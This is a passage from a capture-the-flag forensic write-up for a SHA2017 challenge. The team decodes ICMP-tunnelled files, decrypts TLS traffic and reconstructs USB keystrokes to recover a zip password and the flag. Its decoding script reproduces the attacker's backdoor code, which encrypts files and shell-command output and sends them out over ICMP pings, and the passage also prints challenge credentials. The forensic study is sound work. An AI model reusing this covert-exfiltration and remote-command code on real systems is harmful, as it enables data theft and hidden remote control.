getfile:3:8XB7Q94TDBClV8w4qhq69z3FZYrv8t2WgEKqgXrWdlHdlAFX8ALVsMhCJIBkRaym0tYdVp1SG4MaZR4Tss3uWqkUHUP2IHv2mxW9kJtXQcCFacZu6BB6WbVWAABCAAAAQgAAAAAMKUT6VQAMKT39sAgARQAANPb5QABABsB2wKgBAsCoAQEBu8YiHIz10SeSnX2AEADzDMEAAAEBCAoAJQRCAWpAmegQelnOVgAAjQAAAI0AAAAADCk9_bAADClE-lUIAEUAAH_bZ0AAQAbbvcCoAQHAqAECxiIBuyeSnX0cjPXRgBgA8YPFAAABAQgKAWpAowAlBEIUAwMAAQEWAwMAQGxEpdaDTXP8knA4zCtiwo73wxpiSMwEg4mUp0JHTM5EVi8fDHmJwxa4h0XRCtUMYW1ku3J8B2mDM4-Be7yzVgXoEHpZwVcAAEIAAABCAAAAAAwpRPpVAAwpPf2wCABFAAA09vpAAEAGwHXAqAECwKgBAQG7xiIcjPXRJ5KdyIAQAPMMbAAAAQEICgAlBEIBakCj6BB6WWhYAABcAQAAXAEAAAAMKUT6VQAMKT39sAgARQABTvb7QABABr9awKgBAsCoAQEBu8YiHIz10SeSnciAGADzZFwAAAEBCAoAJQRCAWpAoxYDAwDKBAAAxgAAASwAwAgdhAXn_d9KSZnZsG-gE9lS8acf1BQiUuNF04t4gevS8ICJtSUIJdGsE-qc2tSvQnLimi0T1iSzd47KHZC4nPZt8UmAPz8CvuPkoG2nSNnhtH7aG3vuLtigzX4okzcPOGpR
getfile:15:TcpH8DKbQqyDTZP90vOPC7ZroVI7FBLP3tehUVdCsB5kcVOtOgwoeNuBDLMQwHANdbwLTIcc8rWzDtchd96wrcnYimMMVXom7hJFk9CYIvLi1AjgVnUmgijI_ZAvr768ZkMUK9zVD1CWi7x1yw-7a3r9XPaQAx4C_VXxF42RQ7lofpm0NeTW_RQddZVBmc7JRGHSyhhgvnPK9AvSftJCCR2w4U7ivYo3uXfyVBjkj2OnMPWtUeqWQxEMSVPnTp8pQ7CHG0ZhHzowGnNued80Q9s3cR5Dkb2EeAVtwoWObjMziRAuwahOsO88dbD0mOFbJMPNCQst5qOv0KkgXc4ArGuRdj3DqLdqZboIsRIFwk1BKxHoaBedqa8F8GR2t1RZ-xR31I5RSnJrJSn-v2ktPLitzNW5K46Ors604DI6pwH3GKv1moTI-Bc_S54n1WATXNYWBcE5T8_BxHPB6ezfXuuJK-Epgfu5UDMwkRCS84b0R5GT4gYdWLqOvIF0bJrLI1OgDT-ODRNIt_Ehq3jnXlV0gIwLr0nWLzGjDh4dhGdvNC1kylYtkzta6L-eBcnkDjKhyWMZa2pL6NN5iF2RaoKswfm_ZmBEygpY0s8VlBFf0Ut7s6D1vyUNiNEGwR8LZ13L4rxE4Cz51rFPeKFO80yWeYtXEyCz7idxVoT9cp_U8ospLrMcmalnXvZL4OGPzwT7G_dpZoZ6tMYRBKwgSn1KuyvmGlY9VGyQk16PqgpAk09-tmwlYJeEhPQGlrx-JpW6agdmeibUwsMZ0-oYJBhD0cvVwyOt
getfile:13:GA1QBh84hcfGb0cIr9PNPIVMe6FUmD-x98FH5mTW_8LsuTXYhYixTcRrJXFHr1D7NuQynU669tClrXvJsQO-14bI-5v0gG8rlpuDR2L2TdfeyFhxcoPgLKuFBTAGTZkt-6I4hBZaOY3hdFmITNTH-ch29k2E8SY5M9F-KU17oyQ8Kv2J9qbceSWRyCO0dVhJq2oOVvoJzhe2bWwQSHhlPEXy20onc7fz7E58Jw-rftZqGAuQWpcnobRrFlDPLXE2UI3pU2TXi0Wzg8teEOLpb7TDA87tA6EgOqV0tSCL0C8qEI8Fv6nEBiSI1zXGfzzmY3lO6P3kNZnOV6VXTF521So8XreKqd2vNYrgNpr-IljhTLZ0HMmHn6nHlvPWfJC-MswWe41ztWWQ0-LuhvMO8MR4Yl9bpEKwJ5pF0igdOPc0hY5Finn8rTSgAGuhJYFDniX79dhdam6Mi17TAVzw1Rhnp9qGHpXpRArXk_hg5dGNSfmJe4AktaOFqHeOmpa15QLc5wZm7RTvsXYN7-EhAHWDPg7ighLZipwy54nIQcztZM4mXzRAqoIWSJb-G5IxgVRZxhAs_4db4cG4c_pNHNxNh7m3romVsiPm9zmkU2Em0Qf_suCCDsGZSN1xFUJKBtn-W0bzyGqF2dNvWuG2UKT2mTbZ3jnEEcyRp-vyfsXDaKaSNxH1dvEo8_H7L3nOsi_jkB6YwKr0_dgcSclcOx_vYkvqRq9qrL5UMsE_s2ZnjTXC46CFLJecVfRBElmjOevT4MnC4GadhYJhwaEWUEuBh8Yvh4B1
getfile:165:cHurdwdnjePy6Xa5SBJU_Mbe1VPdwEuXvCW1XXCaId6Y09yNKbwX0W3KPWiTJ_ZgDoSKci1FZs9sK9gFobVoTOMBicG6atQrQ5TuoL-Er2T8HDGkhComD0AfHzgxHQRy5LbcUsRpMvLLJfsv0ULnwmfjcmk6RWT1IChIG7gUxie3xVnh9lFiOZlVFxFz_NB1JPlWpTqV-8c_tFM9tSk4ud7u4lMdjPgKPO-5eknyZiT8g5WbwDqteDdSuRAfYTl0A0EoEBqNr3wiRTxJJlhGVCWX70ki5CDNCNKMlK9YifFey6W2DMv4_5m616CWgLUNJTeowqqHWA2INCeLrn-dHZi-ADsKHNYoxEqIrJlpZCiUM5L-rOC_TtQ6COT7Aro7kaH1qdQkwgygg2qP6_Xe5mFO4IOMFkcx-51kDyjtfHUGBx2veXXEDfAScnKY9GY_905jJafZ9J8vRfeszHiD0quOv0edGw8NbKp3_pk2nL2Ey-vCIcm4lR0WXOFuOmwj67o6mk_cq2n7axOkJ8gcEc61AqJ7LzZbJFr0_b3bnaZzkXuKF_IokNRQJDpD1WfLkI_ba8Q3u2d8nui9ljBWs7VzwAl8dR1iH4QtIIturGVQEIR8jA3mn1evUTQvFjA-BN2nlOmXqyjoXU0HcaOC53Vj2d1r_J_64CmdAnlWJ-2aeG3dCoP0fYYxvKKpI1g6WXCX_Li701DtBTl6Hnp6ICHW7GEqxK96H0BfB_Sb6UQFa_9ScfbNd3ohC9xxYiiGSssqHiHkiAJ0vfYXSZYMs9YeTpSA273k
...Truncated...

We have alot of lines, the first line of the output gives us an hint of what are all those lines and we can see “getfile:/tmp/intranet.pcap” so if we extract all those strings after getfile:0:%s to the getfile:301:%s that string is enconded with base64 so we just needed to join them all and decode it since tshark is duplicating our data we actually had to extract 4 of them, but in reality it’s actually only two the intranet.pcap and the usb.cap (and yes! remember the IMCP decrypted packages? the hacker actually started 2 tcpdump commands!).
Our final python script will be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
import binascii
import re

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"
key2="K8djhaIU8H2d1jNb"
stri="9FEEhLIvHpDPM4qwDwPQVxuasHbiFnI6AjSY6YNDlzcRZX7T+R6azOsOHIXSTsQJFY6KWC57M7c50/Y8VoDblzthDZEAgvOglXNj5wC78R3+euE2enPioadbLZ4K2bwG8UAxdIX8sH7NAmC9LNVuluqd2TYgDss20VNwd1rJ7vmkrt55gXvCWdOieQarMbMZorDqvcRrPRJsNae1x8CHY/ukToeYt8w4T16BrqdN9ZJK+NFVxDddHjjfXCtwF2eqVZ+qZhYiDPAcy1DcQZEWJeRz+R5m98WsLqH2gJvpYY3T6h1JuTTJUDfhoqeTvrRF/z9nsGCaJQZjKY3EDrdvCQ=="



class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
    return output

def send_ping(host, magic, data):
    data = cipher.encrypt(data)
    load = "{}:{}".format(magic, data)
    time.sleep(1)
    sr(IP(dst=host)/ICMP()/load, timeout=1, verbose=0)

def chunks(L, n):
    for i in xrange(0, len(L), n):
        yield L[i:i+n]

def get_file(host, magic, fn):
    time.sleep(1)
    data = base64.urlsafe_b64encode(open(fn, "rb").read())
    cnt = 0
    icmp_threads = []
    for line in chunks(data, 500):
        t = threading.Thread(target = send_ping, args = (host,magic, "getfile:{}:{}".format(cnt,line)))
        t.daemon = True
        t.start()
        icmp_threads.append(t)
        cnt += 1

    for t in icmp_threads:
        t.join()


# cipher = AESCipher(sys.argv[1])

# while True:
#     try: 
#         pkts = sniff(filter="icmp", timeout =5,count=1)

#         for packet in pkts:
#              if  str(packet.getlayer(ICMP).type) == "8": 
#                 input = packet[IP].load
#                 if input[0:len(magic)] == magic:
#                     input = input.split(":")
#                     data = cipher.decrypt(input[1]).split(":")
#                     ip = packet[IP].src
#                     if data[0] == "command":
#                         output = run_command(data[1])
#                         send_ping(ip, magic, "command:{}".format(output))
#                     if data[0] == "getfile":
#                         #print "[+] Sending file {}".format(data[1])
#                         get_file(ip, magic, data[1])
#     except:
#         pass




#   break
# print(final)

#for i in range(0,301):
#   print(i, dicio[str(i)])
# for k,v in dicio.iteritems():
    # print(k, base64.urlsafe_b64decode(v))

# print(base64.urlsafe_b64decode(final))

    # if outp not in lis:
    #     # print(outp)
        
    #     print(numb)
    #     lis.append(outp)
        
  # lis = sorted(lis)
  # for it in lis:
    # print(it)


dicio = {}
lis = []
n = AESCipher(key2)
infile1="encrypted1"
with open(infile1) as f:
  strin = f.read().split('SHA2017:')
  strin = strin[1:]
  for i in range(0,len(strin),2):
    outp = n.decrypt(strin[i])

infile2="encrypted2"
with open(infile2) as f:
  strin = f.read().split('SHA2017:')
  strin = strin[1:]
  for lin in strin:
    outp = n.decrypt(lin)
    numb = re.findall(r"getfile:([0-9]+).*", outp)
    outp = re.findall(r"getfile:[0-9]+:(.*)", outp)
    
    if numb != []:
      if dicio.has_key(numb[0]):
        dicio[numb[0]].append(outp[0])
      else:
        dicio[numb[0]]=[outp[0]]

for j in range(0,4):
    final=""    
    for i in range(0,301):
        try:
            final += base64.urlsafe_b64decode(dicio[str(i)][j])
        except IndexError:
            break
    file = open('lol%d.pcap'%j,'wb+')
    file.write(final)

Now checking intranet.pcap we could see that we have more encrypted data but in this case was TLS, and then we remembered after we decrypted abuse2.cap we got our RSA.keys to decrypt these packages! so once again using wireshark to decrypt:
Edit -> Preferences -> protocols -> SSL

1
2
3

kinyabitch@Debian ~/D/H/c/sha2017> mv lol1.pcap intranet.pcap
kinyabitch@Debian ~/D/H/c/sha2017> wireshark intranet.pcap

Now seeing HTTP packages we can see that the hacker downloaded file secret.zip!

The zip file is protected by a password! now we either bruteforce the zip file (which was a very hard way to do it since the password was “somehow” complicated) or we needed to find it in our USB capture! which is a USB keyboard capture!

1
2
3

kinyabitch@Debian ~/D/H/c/sha2017> mv lol4.pcap usb.pcap
kinyabitch@Debian ~/D/H/c/sha2017> wireshark usb.pcap

Extract the keys pressed from the usb.cap:

1
2

kinyabitch@Debian ~/D/H/c/sha2017> tshark -r usb.pcap -Y "frame.len==72" -Tfields -e usb.capdata > usb.txt

And now getting the table to decode the keys from http://www.usb.org/developers/hidpage/Hut1_12v2.pdf

Writting the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

shift = "02:00:00:00:00:00:00:00"
ignore = "00:00:00:00:00:00:00:00"
ignore2 = "01:00:00:00:00:00:00:00"
keys_dict = {'04': 'a',
       '05': 'b',
       '06': 'c',
       '07': 'd',
       '08': 'e',
       '09': 'f',
       '0a': 'g',
       '0b': 'h',
       '0c': 'i',
       '0d': 'j',
       '0e': 'k',
       '0f': 'l',
       '10': 'm',
       '11': 'n',
       '12': 'o',
       '13': 'p',
       '14': 'q',
       '15': 'r',
       '16': 's',
       '17': 't',
       '18': 'u',
       '19': 'v',
       '1a': 'w',
       '1b': 'x',
       '1c': 'y',
       '1d': 'z',
       '1e': '1',
       '1f': '2',
       '20': '3',
       '21': '4',
       '22': '5',
       '23': '6',
       '24': '7',
       '25': '8',
       '26': '9',
       '27': '0',
       '28': '\r\n',
       '29': '',
       '2a': '',
       '2b': '',
       '2c': ' ',
       '2d': '-',
       '2e': '=',
       '2f': '[',
       '30': ']',
       '31': '\\',
       '32': '#',
       '33': ':',
       '34': "'",
       '35': '',
       '36': ',',
       '37': '.',
       '38': '/'}




with open('usb.txt', 'r') as f:
  keys_lines = f.readlines()
  s = ""
  for key in keys_lines:
    
    if key.strip() == shift or key.strip() == ignore or key.strip() == ignore2:
      continue
    k=key.split(":")
    #print key == ignore, key == '02:00:00:00:00:00:00:00', key
    if k[0] == '02': #shift pressed 
      if keys_dict[k[2]] == '2':
        s  += '@'
      else:
        s += keys_dict[k[2]].upper()
    else:
      s += keys_dict[k[2]]
  print s
1
2
3
4
5
6
7
8
9
10
11

kinyabitch@Debian ~/D/H/c/sha2017> python usb.py
root
Welcome123
ls -la
curl -ks https://root:Welcome123@intranet/secret.zip
unzip secret.zip
Pyj4m4P4rtY@2017
cat secret.txt
display hamburg
logoout

The password is Pyj4m4P4rtY@2017 for the zip file!

1
2
3
4
5
6
7
8
9
10
11

kinyabitch@Debian ~/D/H/c/sha2017> unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret.txt password: 
  inflating: secret.txt              
  inflating: hamburger_pussy.jpg
kinyabitch@Debian ~/D/H/c/sha2017> cat secret.txt 
Important passwords:
secret.zip  Pyj4m4P4rtY@2017
root    Welcome123
flag          flag{bf107b7f64f320034df7e48669439f69}

Finally the flag was flag{bf107b7f64f320034df7e48669439f69}

TeamRocketISTCTF Team

Portuguese Computer Science Students